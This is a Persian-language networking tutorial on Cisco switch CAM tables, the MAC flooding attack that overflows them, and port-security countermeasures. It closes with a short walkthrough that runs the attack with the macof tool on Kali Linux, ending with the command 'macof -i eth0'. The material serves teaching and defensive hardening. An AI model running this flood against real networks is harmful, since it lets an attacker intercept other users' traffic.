سوئیچهای سیسکو برای هدایت فریمهای داده به پورت مورد نظر از جدولی به نام جدول CAM که مخفف Content Addressable Memory است استفاده میکنند. وظیفه این جدول نگهداری تناظر بین آدرس مک و پورت سوئیچ است. به عنوان مثال اگر کامپیوتر A به پورت 1 سوئیچ متصل باشد، سوئیچ با دریافت اولین فریم از کامپیوتر A در جدول CAM خود سطری را مبنی بر اینکه آدرس مک کامپیوتر A از طریق پورت 1 قابل دسترس است، ایجاد میکند.
هنگامی که سوئیچ فریمی را به مقصد مک آدرسی دریافت میکند که این مک آدرس را در جدول CAM خود ندارد به ناچار فریم را به همه پورتهای خود ارسال میکند. اما به محض دریافت اولین فریم از کامپیوتری با آن مک آدرس، آن را به جدول CAM خود اضافه میکند تا دیگر نیازی به ارسال فریم به تمام پورتها، که از لحاظ امنیتی بسیار پر خطر است، نداشته باشد.
Switch#show mac address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
Switch#show mac address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
1 0050.7966.6800 DYNAMIC Gi0/0
Total Mac Addresses for this criterion: 1
Switch#show mac address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
1 0050:7966.6800 DYNAMIC Gi0/0
1 0050.7966.6801 DYNAMIC Gi0/1
Total Mac Addresses for this criterion: 2
تعداد سطرهایی که جدول CAM میتواند در خود جای دهد محدود است. اگر این جدول به طور کامل پر شود سوئیچ برای ارسال فریم به یک آدرس مک جدید با مراجعه به این جدول سطری را پیدا نمیکند و به ناچار فریم را به تمامی پورتهای سوئیچ ارسال میکند. این کار باعث میشود یک attacker در صورت امکان اتصال به یکی دیگر از پورتهای سوئیچ بتواند به دادههایی که بین دیگران رد و بدل میشود، دسترسی داشته باشد.
برای مقابله با این خطر امنیتی موثرترین راه جلوگیری از پر شدن جدول CAM است. برای این کار با استفاده از ویژگی port security در سوئیچهای سیسکو میتوان تعداد آدرسهای مکی که سوئیچ روی هر پورت میتواند یاد بگیرد و در جدول CAM خود وارد کند را محدود کرد. به عنوان مثال میتوان تنظیم کرد که سوئیچ بر روی یک پورت میتواند حداکثر 5 مک آدرس رو یاد بگیرد و در صورتی که فریمی با ششمین آدرس مک متفاوت وارد پورت شود، سوئیچ به این امر واکنش نشان دهد. این واکنش میتواند یکی از موارد زیر باشد:
shutdown: این واکنش که رفتار پیش فرض نیز هست به این معناست که سوئیچ پورت را غیر فعال میکند. برای فعال شدن مجدد پورت نیاز است مدیر شبکه این کار را انجام دهد.
restrict: در این حالت سوئیچ فرمهای با مک آدرس ششم را drop میکند و پیامهای syslog و SNMP برای مدیر شبکه ارسال میکند.
protect: در این حالت سوئیچ فرمهای با مک آدرس ششم را drop میکند اما هیچ گونه پیامی ارسال نمیکند.
برای انجام این حمله میتوان از ابزار macof در لینوکس استفاده کرد. ما برای انجام این کار از لینوکس Kali که یک توزیع محبوب از لینوکس برای انجام تست نفوذ و تستهای امنیتی است استفاده کردهایم.
برای مشاهده سوئیچهای مختلف فرمان macof میتوانید از علامت سوال استفاده کنید.
root@kali:~# macof ?
Version: 2.4
Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
[-i interface] [-n times]
برای پیدا کردن واسط شبکه متصل به سوئیچ از فرمان ifconfig استفاده میکنیم.
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.88.131 netmask 255.255.255.0 broadcast 192.168.88.255
inet6 fe80::20c:29ff:fea9:2cf9 prefixlen 64 scopeid 0x20
ether 00:0c:29:a9:2c:f9 txqueuelen 1000 (Ethernet)
RX packets 4881 bytes 304712 (297.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 31634 bytes 4203161 (4.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
در نهایت با استفاده از سوئیچ i- به همراه نام واسط شبکه فرمان macof را اجرا میکنیم.
root@kali:~# macof -i eth0